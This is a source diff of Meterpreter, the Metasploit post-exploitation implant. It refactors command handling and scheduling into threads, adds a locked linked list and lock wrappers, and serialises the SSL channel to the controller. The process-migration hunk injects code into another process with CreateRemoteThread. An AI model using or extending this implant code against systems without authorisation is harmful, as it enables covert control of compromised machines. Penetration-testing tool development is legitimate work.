diff --git a/external/source/meterpreter/source/common/arch/win/i386/base_dispatch.c b/external/source/meterpreter/source/common/arch/win/i386/base_dispatch.c index 40528bdb91..5f92b61891 100644 --- a/external/source/meterpreter/source/common/arch/win/i386/base_dispatch.c +++ b/external/source/meterpreter/source/common/arch/win/i386/base_dispatch.c @@ -1,6 +1,6 @@ #include "common.h" - +extern THREAD serverThread; /* * core_migrate * ------------ @@ -223,21 +223,20 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet) if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) { result = GetLastError(); - ExitThread(result); + break; } - // Wait at most 5 seconds for the event to be set letting us know that - // it's finished - if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0) + // Wait at most 5 seconds for the event to be set letting us know that it's finished + if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0 ) { result = GetLastError(); - ExitThread(result); + break; } + // Signal the main server thread to begin the shutdown as migration has been successfull. + dprintf("[SYSTEM] Shutting down the Meterpreter thread 1 (signaling main thread)..."); - // Exit the current process now that we've migrated to another one - dprintf("Shutting down the Meterpreter thread..."); - ExitThread(0); + thread_sigterm( &serverThread ); } while (0); @@ -253,7 +252,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet) if (event) CloseHandle(event); - return ERROR_SUCCESS; + return result; } diff --git a/external/source/meterpreter/source/common/arch/win/scheduler.c b/external/source/meterpreter/source/common/arch/win/scheduler.c index c9f5cc58ea..c4437ee0e7 100644 --- a/external/source/meterpreter/source/common/arch/win/scheduler.c +++ b/external/source/meterpreter/source/common/arch/win/scheduler.c @@ -2,168 +2,249 @@ typedef struct _WaitableEntry { + Remote * remote; HANDLE waitable; LPVOID context; WaitableNotifyRoutine routine; } WaitableEntry; -WaitableEntry *waitableArray = NULL; -HANDLE *waitableHandleArray = NULL; -HANDLE schedulerWakeUpEvent = NULL; -DWORD numWaitableEntries = 0; +/* + * The list of all currenltly running threads in the scheduler subsystem. + */ +LIST * schedulerThreadList = NULL; /* - * Rebuilds the handle array + * The Remote that is associated with the scheduler subsystem */ -VOID scheduler_build_handle_array() +Remote * schedulerRemote = NULL; + +/* + * Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable. + */ +DWORD scheduler_initialize( Remote * remote ) { - DWORD index = 0; + DWORD result = ERROR_SUCCESS; - if (!schedulerWakeUpEvent) - schedulerWakeUpEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + dprintf( "[SCHEDULER] entering scheduler_initialize." ); - if (waitableHandleArray) - free(waitableHandleArray); + if( remote == NULL ) + return ERROR_INVALID_HANDLE; - waitableHandleArray = (HANDLE *)malloc((numWaitableEntries+1) * - sizeof(HANDLE)); + schedulerThreadList = list_create(); + if( schedulerThreadList == NULL ) + return ERROR_INVALID_HANDLE; - if (waitableHandleArray) + schedulerRemote = remote; + + dprintf( "[SCHEDULER] leaving scheduler_initialize." ); + + return result; +} + +/* + * Destroy the scheduler subsystem. All waitable threads at signaled to terminate. + * this function blocks untill all waitable threads have terminated. + */ +DWORD scheduler_destroy( VOID ) +{ + DWORD result = ERROR_SUCCESS; + DWORD index = 0; + DWORD count = 0; + LIST * jlist = list_create(); + THREAD * thread = NULL; + + dprintf( "[SCHEDULER] entering scheduler_destroy." ); + + lock_acquire( schedulerThreadList->lock ); + + count = list_count( schedulerThreadList ); + + for( index=0 ; index < count ; index++ ) { - for (index = 0; - index < numWaitableEntries; - index++) - waitableHandleArray[index] = waitableArray[index].waitable; + thread = (THREAD *)list_get( schedulerThreadList, index ); + if( thread == NULL ) + continue; + + list_push( jlist, thread ); - // Finally, add the wake up event to the mix. - waitableHandleArray[index] = schedulerWakeUpEvent; + thread_sigterm( thread ); } - if (schedulerWakeUpEvent) - SetEvent(schedulerWakeUpEvent); -} + lock_release( schedulerThreadList->lock ); -/* - * Insert a waitable object for checking and processing - */ -DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context, - WaitableNotifyRoutine routine) -{ - WaitableEntry *newArray = NULL; - DWORD res = ERROR_SUCCESS; + dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." ); - do + while( TRUE ) { - // Allocate space for storing the handle in the waitable array - if (!waitableArray) - { - if (!(newArray = (WaitableEntry *)malloc( - sizeof(WaitableEntry)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - } - else if (!(newArray = (WaitableEntry *)realloc(waitableArray, - sizeof(WaitableEntry) * (numWaitableEntries+1)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Put the waitable handle into the waitable handle array - newArray[numWaitableEntries].waitable = waitable; - newArray[numWaitableEntries].context = context; - newArray[numWaitableEntries].routine = routine; - waitableArray = newArray; - - // Increment the number of entries - numWaitableEntries++; - - } while (0); - - scheduler_build_handle_array(); - - return res; -} - -/* - * Remove a waitable object - */ -DWORD scheduler_remove_waitable(HANDLE waitable) -{ - DWORD index = 0, numItemsToRemove = 0; - WaitableEntry *newArray = NULL; - BOOL found = FALSE; + dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." ); - // Enumerate the waitable handle array, flushing out all - // entries with the provided handle - for (index = 0; - index < numWaitableEntries; - index++) + thread = (THREAD *)list_pop( jlist ); + if( thread == NULL ) + break; + + dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread ); + + thread_join( thread ); + } + + dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." ); + + list_destroy( jlist ); + + list_destroy( schedulerThreadList ); + + schedulerThreadList = NULL; + + dprintf( "[SCHEDULER] leaving scheduler_destroy." ); + + return result; +} + +/* + * Insert a new waitable thread for checking and processing. + */ +DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine ) +{ + DWORD result = ERROR_SUCCESS; + THREAD * swt = NULL; + + WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) ); + if( entry == NULL ) + return ERROR_NOT_ENOUGH_MEMORY; + + dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine ); + + memset( entry, 0, sizeof( WaitableEntry ) ); + + entry->remote = schedulerRemote; + entry->waitable = waitable; + entry->context = context; + entry->routine = routine; + + swt = thread_create( scheduler_waitable_thread, entry, NULL ); + if( swt != NULL ) { - if (waitableArray[index].waitable != waitable) + dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt ); + thread_run( swt ); + } + else + { + free( entry ); + result = ERROR_INVALID_HANDLE; + } + + dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" ); + + return result; +} + +/* + * Remove a waitable object by signaling the waitable thread to terminate. + */ +DWORD scheduler_remove_waitable( HANDLE waitable ) +{ + DWORD index = 0; + DWORD count = 0; + THREAD * thread = NULL; + WaitableEntry * entry = NULL; + DWORD result = ERROR_SUCCESS; + + dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable ); + + if( schedulerThreadList == NULL || waitable == NULL ) + return ERROR_INVALID_HANDLE; + + lock_acquire( schedulerThreadList->lock ); + + count = list_count( schedulerThreadList ); + + for( index=0 ; index < count ; index++ ) + { + thread = (THREAD *)list_get( schedulerThreadList, index ); + if( thread == NULL ) + continue; + + entry = (WaitableEntry *)thread->parameter1; + if( entry == NULL ) continue; - waitableArray[index].waitable = NULL; - - numItemsToRemove++; - - found = TRUE; - } - - // Repopulate the array of waitable items with the provided - // handle removed. - if ((newArray = (WaitableEntry *)malloc(sizeof(WaitableEntry) * - (numWaitableEntries - numItemsToRemove)))) - { - DWORD newIndex; - - for (index = 0, newIndex = 0; - index < numWaitableEntries; - index++) + if( entry->waitable == waitable ) { - if (!waitableArray[index].waitable) - continue; - - newArray[newIndex++] = waitableArray[index]; + dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); + thread_sigterm( thread ); + result = ERROR_SUCCESS; + break; } - - // Destroy the waitable array - free(waitableArray); - - // Set the waitable array to the new array - waitableArray = newArray; - numWaitableEntries -= numItemsToRemove; } - scheduler_build_handle_array(); + lock_release( schedulerThreadList->lock ); - return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND; + dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" ); + + return result; } /* - * Runs the scheduler, checking waitable objects for data + * The schedulers waitable thread. Each scheduled item will have its own thread which + * waits for either data to process or the threads signal to terminate. */ -DWORD scheduler_run(Remote *remote, DWORD timeout) +DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) { - DWORD res; + HANDLE waitableHandles[2] = {0}; + WaitableEntry * entry = NULL; + DWORD result = 0; + BOOL terminate = FALSE; - if (waitableHandleArray) + if( thread == NULL ) + return ERROR_INVALID_HANDLE; + + entry = (WaitableEntry *)thread->parameter1; + if( entry == NULL ) + return ERROR_INVALID_HANDLE; + + if( entry->routine == NULL ) + return ERROR_INVALID_HANDLE; + + if( schedulerThreadList == NULL ) + return ERROR_INVALID_HANDLE; + + list_add( schedulerThreadList, thread ); + + waitableHandles[0] = entry->waitable; + + waitableHandles[1] = thread->sigterm->handle; + + dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread ); + + while( !terminate ) { - DWORD index; - - res = WaitForMultipleObjects(numWaitableEntries + 1, - waitableHandleArray, FALSE, timeout); - - // If one of the objects signaled data - if ((res >= WAIT_OBJECT_0) && - ((index = res - WAIT_OBJECT_0) < numWaitableEntries)) - res = waitableArray[index].routine(remote, - waitableArray[index].context); - else if (res >= WAIT_OBJECT_0) - res = ERROR_SUCCESS; + result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE ); + switch( result - WAIT_OBJECT_0 ) + { + case 0: + entry->routine( entry->remote, entry->context ); + break; + case 1: + dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread ); + terminate = TRUE; + break; + default: + break; + } } - return res; -} + dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread ); + + // we acquire the lock for this block as we are freeing 'entry' which may be accessed + // in a second call to scheduler_remove_waitable for this thread (unlikely but best practice). + lock_acquire( schedulerThreadList->lock ); + if( list_remove( schedulerThreadList, thread ) ) + { + CloseHandle( entry->waitable ); + thread_destroy( thread ); + free( entry ); + } + lock_release( schedulerThreadList->lock ); + + return ERROR_SUCCESS; +} \ No newline at end of file diff --git a/external/source/meterpreter/source/common/base.c b/external/source/meterpreter/source/common/base.c index 15c5b341c0..9d3b8aaec2 100644 --- a/external/source/meterpreter/source/common/base.c +++ b/external/source/meterpreter/source/common/base.c @@ -167,9 +167,141 @@ DWORD command_deregister(Command *command) return res; } +/* + * A list of all command threads currenlty executing. + */ +LIST * commandThreadList = NULL; + +/* + * Block untill all running command threads have finished. + */ +VOID command_join_threads( VOID ) +{ + while( list_count( commandThreadList ) > 0 ) + { + THREAD * thread = (THREAD *)list_get( commandThreadList, 0 ); + if( thread ) + thread_join( thread ); + } +} + +/* + * Crude method of throttling the ammount of concurrent command + * threads we allow in the system at a given time. + */ +/* +VOID command_throtle( int maxthreads ) +{ + while( list_count( commandThreadList ) >= maxthreads ) + { + Sleep( 250 ); + } +} +*/ + +/* + * Process a single command in a seperate thread of execution. + */ +DWORD THREADCALL command_process_thread( THREAD * thread ) +{ + DWORD index = 0; + DWORD result = ERROR_SUCCESS; + Tlv methodTlv = {0}; + Tlv requestIdTlv = {0}; + PCHAR method = NULL; + PCHAR requestId = NULL; + Command * current = NULL; + Remote * remote = NULL; + Packet * packet = NULL; + + if( thread == NULL ) + return ERROR_INVALID_HANDLE; + + remote = (Remote *)thread->parameter1; + if( remote == NULL ) + return ERROR_INVALID_HANDLE; + + packet = (Packet *)thread->parameter2; + if( packet == NULL ) + return ERROR_INVALID_DATA; + + if( commandThreadList == NULL ) + { + commandThreadList = list_create(); + if( commandThreadList == NULL ) + return ERROR_INVALID_HANDLE; + } + + list_add( commandThreadList, thread ); + + __try + { + do + { + // Extract the method + result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv ); + if( result != ERROR_SUCCESS ) + break; + + dprintf( "[COMMAND] Processing method %s", methodTlv.buffer ); + + // Get the request identifier if the packet has one. + result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ); + if( result == ERROR_SUCCESS ) + requestId = (PCHAR)requestIdTlv.buffer; + + method = (PCHAR)methodTlv.buffer; + + result = ERROR_NOT_FOUND; + + // Try to find a match in the dispatch type + for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ ) + { + if( strcmp( commands[index].method, method ) ) + continue; + + // Call the base handler + result = command_call_dispatch( &commands[index], remote, packet ); + } + + // Regardless of error code, try to see if someone has overriden a base handler + for( current = extensionList, result = ERROR_NOT_FOUND ; + result == ERROR_NOT_FOUND && current && current->method ; current = current->next ) + { + if( strcmp( current->method, method ) ) + continue; + + // Call the custom handler + result = command_call_dispatch( current, remote, packet ); + } + + dprintf("[COMMAND] Calling completion handlers..."); + // Finally, call completion routines for the provided identifier + if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId)) + packet_call_completion_handlers( remote, packet, requestId ); + + // If we get here, we're successful. + result = ERROR_SUCCESS; + + } while( 0 ); + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread ); + } + + packet_destroy( packet ); + + if( list_remove( commandThreadList, thread ) ) + thread_destroy( thread ); + + return ERROR_SUCCESS; +} + /* * Process a single command */ +/* DWORD command_process_remote(Remote *remote, Packet *inPacket) { DWORD res = ERROR_SUCCESS, index; @@ -245,11 +377,12 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket) packet_destroy(localPacket); return res; -} +}*/ /* * Process incoming commands, calling dispatch tables appropriately - */ + */ +/* DWORD command_process_remote_loop(Remote *remote) { DWORD res = ERROR_SUCCESS; @@ -269,6 +402,7 @@ DWORD command_process_remote_loop(Remote *remote) return res; } +*/ /* * Call the dispatch routine for a given command diff --git a/external/source/meterpreter/source/common/base.h b/external/source/meterpreter/source/common/base.h index e64a7041d5..77d86785c6 100644 --- a/external/source/meterpreter/source/common/base.h +++ b/external/source/meterpreter/source/common/base.h @@ -43,8 +43,11 @@ typedef struct command LINKAGE DWORD command_register(Command *command); LINKAGE DWORD command_deregister(Command *command); -LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket); -LINKAGE DWORD command_process_remote_loop(Remote *remote); +LINKAGE VOID command_join_threads( VOID ); + +LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread ); +//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket); +//LINKAGE DWORD command_process_remote_loop(Remote *remote); LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet); LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet); diff --git a/external/source/meterpreter/source/common/base_dispatch_common.c b/external/source/meterpreter/source/common/base_dispatch_common.c index 7fdbb705f5..a274e05a92 100644 --- a/external/source/meterpreter/source/common/base_dispatch_common.c +++ b/external/source/meterpreter/source/common/base_dispatch_common.c @@ -132,15 +132,13 @@ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) { // If it's buffered, write it to the local buffer cache case CHANNEL_CLASS_BUFFERED: - res = channel_write_to_buffered(channel, channelData.buffer, - channelData.header.length, (PULONG)&written); + res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); break; // If it's non-buffered, call the native write operation handler if // one is implemented default: { NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - if (ops->write) res = ops->write(channel, packet, ops->context, channelData.buffer, channelData.header.length, @@ -288,6 +286,8 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS, channelId; Channel *channel = NULL; + + dprintf( "[CHANNEL] remote_request_core_channel_close." ); do { diff --git a/external/source/meterpreter/source/common/channel.c b/external/source/meterpreter/source/common/channel.c index da5bd3cb2b..f7c0e6885f 100644 --- a/external/source/meterpreter/source/common/channel.c +++ b/external/source/meterpreter/source/common/channel.c @@ -132,6 +132,7 @@ LINKAGE Channel *channel_create_pool(DWORD identifier, */ VOID channel_destroy(Channel *channel, Packet *request) { + dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel ); // Call the close handler as we're being destroyed. if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) && (channel->ops.buffered.dio)) diff --git a/external/source/meterpreter/source/common/common.h b/external/source/meterpreter/source/common/common.h index 0a006c4ff5..d5f1623bb2 100644 --- a/external/source/meterpreter/source/common/common.h +++ b/external/source/meterpreter/source/common/common.h @@ -27,6 +27,10 @@ #include "channel.h" #include "scheduler.h" +#include "thread.h" + +#include "list.h" + #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) #else diff --git a/external/source/meterpreter/source/common/core.c b/external/source/meterpreter/source/common/core.c index cf5b4f4bda..0d74c9946a 100644 --- a/external/source/meterpreter/source/common/core.c +++ b/external/source/meterpreter/source/common/core.c @@ -169,6 +169,9 @@ Packet *packet_create_response(Packet *request) */ VOID packet_destroy(Packet *packet) { + if( packet == NULL ) + return; + if (packet->payload) { memset(packet->payload, 0, packet->payloadLength); free(packet->payload); @@ -642,8 +645,7 @@ DWORD packet_remove_completion_handler(LPCSTR requestId) /* * Transmit and destroy a packet */ -DWORD packet_transmit(Remote *remote, Packet *packet, - PacketRequestCompletion *completion) +DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion) { CryptoContext *crypto; Tlv requestId; @@ -651,12 +653,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet, DWORD idx; #ifdef _UNIX int local_error = -1; -#endif +#endif - // If the packet does not already have a request identifier, create - // one for it - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, - &requestId) != ERROR_SUCCESS) + lock_acquire( remote->lock ); + + // If the packet does not already have a request identifier, create one for it + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS) { DWORD index; CHAR rid[32]; @@ -708,24 +710,28 @@ DWORD packet_transmit(Remote *remote, Packet *packet, } idx = 0; - while( idx < sizeof(packet->header)) { + while( idx < sizeof(packet->header)) + { // Transmit the packet's header (length, type) res = SSL_write( remote->ssl, (LPCSTR)(&packet->header) + idx, sizeof(packet->header) - idx ); - + if(res <= 0) { - dprintf("transmit header failed with return %d at index %d\n", res, idx); + dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx); break; } idx += res; } - if(res < 0) break; + + if(res < 0) + break; idx = 0; - while( idx < packet->payloadLength) { + while( idx < packet->payloadLength) + { // Transmit the packet's payload (length, type) res = SSL_write( remote->ssl, @@ -737,8 +743,9 @@ DWORD packet_transmit(Remote *remote, Packet *packet, idx += res; } + if(res < 0) { - dprintf("transmit header failed with return %d at index %d\n", res, idx); + dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx); break; } @@ -746,10 +753,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet, } while (0); res = GetLastError(); - + // Destroy the packet packet_destroy(packet); + lock_release( remote->lock ); + return res; } @@ -783,9 +792,13 @@ DWORD packet_receive(Remote *remote, Packet **packet) BOOL inHeader = TRUE; PUCHAR payload = NULL; ULONG payloadLength; + #ifdef _UNIX int local_error = -1; -#endif +#endif + + lock_acquire( remote->lock ); + do { // Read the packet length @@ -799,7 +812,7 @@ DWORD packet_receive(Remote *remote, Packet **packet) SetLastError(ERROR_NOT_FOUND); if(bytesRead < 0) { - dprintf("receive header failed with error code %d\n", bytesRead); + dprintf("[PACKET] receive header failed with error code %d\n", bytesRead); SetLastError(ERROR_NOT_FOUND); } @@ -845,7 +858,7 @@ DWORD packet_receive(Remote *remote, Packet **packet) SetLastError(ERROR_NOT_FOUND); if(bytesRead < 0) { - dprintf("receive payload of length %d failed with error code %d\n", payloadLength, bytesRead); + dprintf("[PACKET] receive payload of length %d failed with error code %d\n", payloadLength, bytesRead); SetLastError(ERROR_NOT_FOUND); } @@ -909,6 +922,8 @@ DWORD packet_receive(Remote *remote, Packet **packet) free(localPacket); } + lock_release( remote->lock ); + return res; } diff --git a/external/source/meterpreter/source/common/list.c b/external/source/meterpreter/source/common/list.c new file mode 100644 index 0000000000..ba780b8c9f --- /dev/null +++ b/external/source/meterpreter/source/common/list.c @@ -0,0 +1,312 @@ +#include "common.h" + +/* + * An implementation of a simple thread safe double linked list structure. Can be used as either + * a stack (via pop/push) or an array (via get/add/insert/remove). If performing a group of + * actions on a list based on results from list actions, acquire the list lock before the group + * of actions and release lock when done. + */ + +/* + * Create a thread safe double linked list. + */ +LIST * list_create( VOID ) +{ + LIST * list = (LIST *)malloc( sizeof(LIST) ); + if( list != NULL ) + { + list->start = NULL; + list->end = NULL; + list->count = 0; + list->lock = lock_create(); + + if( list->lock == NULL ) + { + list_destroy( list ); + return NULL; + } + } + return list; +} + +/* + * Destroy an existing linked list. This destroys all nodes and the list itself + * but not the data held in the linked list. This is the responsibility of the + * caller to destroy. + */ +VOID list_destroy( LIST * list ) +{ + NODE * current_node; + NODE * next_node; + + if( list != NULL ) + { + lock_acquire( list->lock ); + + current_node = list->start; + + while( current_node != NULL ) + { + next_node = current_node->next; + + current_node->next = NULL; + + current_node->prev = NULL; + + free( current_node ); + + current_node = next_node; + } + + list->count = 0; + + lock_release( list->lock ); + + lock_destroy( list->lock ); + + free( list ); + } +} + +/* + * Return the number of items in the list. If using this coung value to itterate through the list + * with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards. + */ +DWORD list_count( LIST * list ) +{ + DWORD count = 0; + + if( list != NULL ) + { + lock_acquire( list->lock ); + + count = list->count; + + lock_release( list->lock ); + } + + return count; +} + +/* + * Get the data value held in the list and a specified index. This will perform a linear search from + * the begining of the list returning the data value if found or NULL if not found. + */ +LPVOID list_get( LIST * list, DWORD index ) +{ + LPVOID data = NULL; + NODE * current_node = NULL; + + if( list == NULL ) + return NULL; + + lock_acquire( list->lock ); + + if( list->count <= index ) + { + lock_release( list->lock ); + return NULL; + } + + current_node = list->start; + + while( current_node != NULL ) + { + if( index == 0 ) + break; + + current_node = current_node->next; + + index--; + } + + if( current_node != NULL ) + data = current_node->data; + + lock_release( list->lock ); + + return data; +} + +/* + * Adds a data item onto the end of the list. + */ +BOOL list_add( LIST * list, LPVOID data ) +{ + return list_push( list, data ); +} + +/* + * Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first. + */ +BOOL list_remove_node( LIST * list, NODE * node ) +{ + if( list == NULL || node == NULL) + return FALSE; + + if( list->count - 1 == 0 ) + { + list->start = NULL; + list->end = NULL; + } + else + { + if( list->start == node ) + { + list->start = list->start->next; + list->start->prev = NULL; + } + else if( list->end == node ) + { + list->end = list->end->prev; + list->end->next = NULL; + } + else + { + node->next->prev = node->prev; + node->prev->next = node->next; + } + } + + list->count -= 1; + + node->next = NULL; + + node->prev = NULL; + + free( node ); + + return TRUE; +} + +/* + * Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed. + */ +BOOL list_remove( LIST * list, LPVOID data ) +{ + BOOL result = FALSE; + NODE * current_node = NULL; + + if( list == NULL || data == NULL ) + return FALSE; + + lock_acquire( list->lock ); + + current_node = list->start; + + while( current_node != NULL ) + { + if( current_node->data == data ) + break; + + current_node = current_node->next; + } + + result = list_remove_node( list, current_node ); + + lock_release( list->lock ); + + return result; +} + +/* + * Remove a list item at the specified index. + */ +BOOL list_delete( LIST * list, DWORD index ) +{ + BOOL result = FALSE; + LPVOID data = NULL; + NODE * current_node = NULL; + + if( list == NULL ) + return FALSE; + + lock_acquire( list->lock ); + + if( list->count > index ) + { + current_node = list->start; + + while( current_node != NULL ) + { + if( index == 0 ) + { + result = list_remove_node( list, current_node ); + break; + } + + current_node = current_node->next; + + index--; + } + } + + lock_release( list->lock ); + + return result; +} + +/* + * Push a data item onto the end of the list. + */ +BOOL list_push( LIST * list, LPVOID data ) +{ + NODE * node = NULL; + + if( list == NULL ) + return FALSE; + + node = (NODE *)malloc( sizeof(NODE) ); + if( node == NULL ) + return FALSE; + + node->data = data; + node->next = NULL; + node->prev = NULL; + + lock_acquire( list->lock ); + + if ( list->end != NULL ) + { + list->end->next = node; + + node->prev = list->end; + + list->end = node; + } + else + { + list->start = node; + list->end = node; + } + + list->count += 1; + + lock_release( list->lock ); + + return TRUE; +} + +/* + * Pop a data value off the end of the list. + */ +LPVOID list_pop( LIST * list ) +{ + LPVOID data = NULL; + + if( list == NULL ) + return NULL; + + lock_acquire( list->lock ); + + if( list->end != NULL ) + { + data = list->end->data; + + list_remove_node( list, list->end ); + } + + lock_release( list->lock ); + + return data; +} \ No newline at end of file diff --git a/external/source/meterpreter/source/common/list.h b/external/source/meterpreter/source/common/list.h new file mode 100644 index 0000000000..0c7866ad0c --- /dev/null +++ b/external/source/meterpreter/source/common/list.h @@ -0,0 +1,43 @@ +#ifndef _METERPRETER_LIB_LIST_H +#define _METERPRETER_LIB_LIST_H + +/*****************************************************************************************/ + +typedef struct _NODE +{ + struct _NODE * next; + struct _NODE * prev; + LPVOID data; +} NODE; + +typedef struct _LIST +{ + NODE * start; + NODE * end; + DWORD count; + LOCK * lock; +} LIST; + +/*****************************************************************************************/ + +LIST * list_create( VOID ); + +VOID list_destroy( LIST * list ); + +DWORD list_count( LIST * list ); + +LPVOID list_get( LIST * list, DWORD index ); + +BOOL list_add( LIST * list, LPVOID data ); + +BOOL list_remove( LIST * list, LPVOID data ); + +BOOL list_delete( LIST * list, DWORD index ); + +BOOL list_push( LIST * list, LPVOID data ); + +LPVOID list_pop( LIST * list ); + +/*****************************************************************************************/ + +#endif \ No newline at end of file diff --git a/external/source/meterpreter/source/common/remote.c b/external/source/meterpreter/source/common/remote.c index a1dbe53147..e0166ae896 100644 --- a/external/source/meterpreter/source/common/remote.c +++ b/external/source/meterpreter/source/common/remote.c @@ -14,6 +14,17 @@ Remote *remote_allocate(SOCKET fd) // Set the file descriptor remote->fd = fd; + + remote->lock = lock_create(); + + + // If we failed to create the lock we must fail to create the remote + // as we wont be able to synchronize communication correctly. + if( remote->lock == NULL ) + { + remote_deallocate( remote ); + return NULL; + } } return remote; @@ -22,10 +33,13 @@ Remote *remote_allocate(SOCKET fd) /* * Deallocate a remote context */ -VOID remote_deallocate(Remote *remote) +VOID remote_deallocate( Remote * remote ) { - if (remote->fd) - closesocket(remote->fd); + if( remote->fd ) + closesocket( remote->fd ); + + if( remote->lock ) + lock_destroy( remote->lock ); free(remote); } diff --git a/external/source/meterpreter/source/common/remote.h b/external/source/meterpreter/source/common/remote.h index 597e52ecaa..180d450ab9 100644 --- a/external/source/meterpreter/source/common/remote.h +++ b/external/source/meterpreter/source/common/remote.h @@ -2,7 +2,7 @@ #define _METERPRETER_LIB_REMOTE_H #include "crypto.h" - +#include "thread.h" /* * Remote context allocation * @@ -16,6 +16,7 @@ typedef struct _Remote SSL_METHOD *meth; SSL_CTX *ctx; SSL *ssl; + LOCK * lock; // lock must be acquired before doing any OpenSSL related action. } Remote; Remote *remote_allocate(SOCKET fd); diff --git a/external/source/meterpreter/source/common/scheduler.h b/external/source/meterpreter/source/common/scheduler.h index 2fa274bf79..319626b27d 100644 --- a/external/source/meterpreter/source/common/scheduler.h +++ b/external/source/meterpreter/source/common/scheduler.h @@ -6,9 +6,10 @@ typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context); -LINKAGE DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context, - WaitableNotifyRoutine routine); -LINKAGE DWORD scheduler_remove_waitable(HANDLE waitable); -LINKAGE DWORD scheduler_run(Remote *remote, DWORD timeout); +LINKAGE DWORD scheduler_initialize( Remote * remote ); +LINKAGE DWORD scheduler_destroy( VOID ); +LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine ); +LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable ); +LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); #endif diff --git a/external/source/meterpreter/source/common/thread.c b/external/source/meterpreter/source/common/thread.c new file mode 100644 index 0000000000..c79a6b1592 --- /dev/null +++ b/external/source/meterpreter/source/common/thread.c @@ -0,0 +1,248 @@ +#include "common.h" + +// thread.c contains wrappers for the primitives of locks, events and threads for use in +// the multithreaded meterpreter. This is the win32/win64 implementation. + +/*****************************************************************************************/ + +/* + * Create a new lock. + */ +LOCK * lock_create( VOID ) +{ + LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); + if( lock != NULL ) + { + memset( lock, 0, sizeof( LOCK ) ); + + InitializeCriticalSection( &lock->cs ); + } + return lock; +} + +/* + * Destroy a lock that is no longer required. + */ +VOID lock_destroy( LOCK * lock ) +{ + if( lock != NULL ) + { + lock_release( lock ); + + DeleteCriticalSection( &lock->cs ); + + free( lock ); + } +} + +/* + * Acquire a lock and block untill it is acquired. + */ +VOID lock_acquire( LOCK * lock ) +{ + if( lock != NULL ) + EnterCriticalSection( &lock->cs ); +} + +/* + * Atempt to acquire a lock, returning true if lock is acquired or allready owned. + * Returns false if another thread has acquired the lock. This function does not block. + */ +BOOL lock_poll( LOCK * lock ) +{ + if( lock != NULL ) + return TryEnterCriticalSection( &lock->cs ); + + return FALSE; +} + +/* + * Release a lock previously held. + */ +VOID lock_release( LOCK * lock ) +{ + if( lock != NULL ) + LeaveCriticalSection( &lock->cs ); +} + 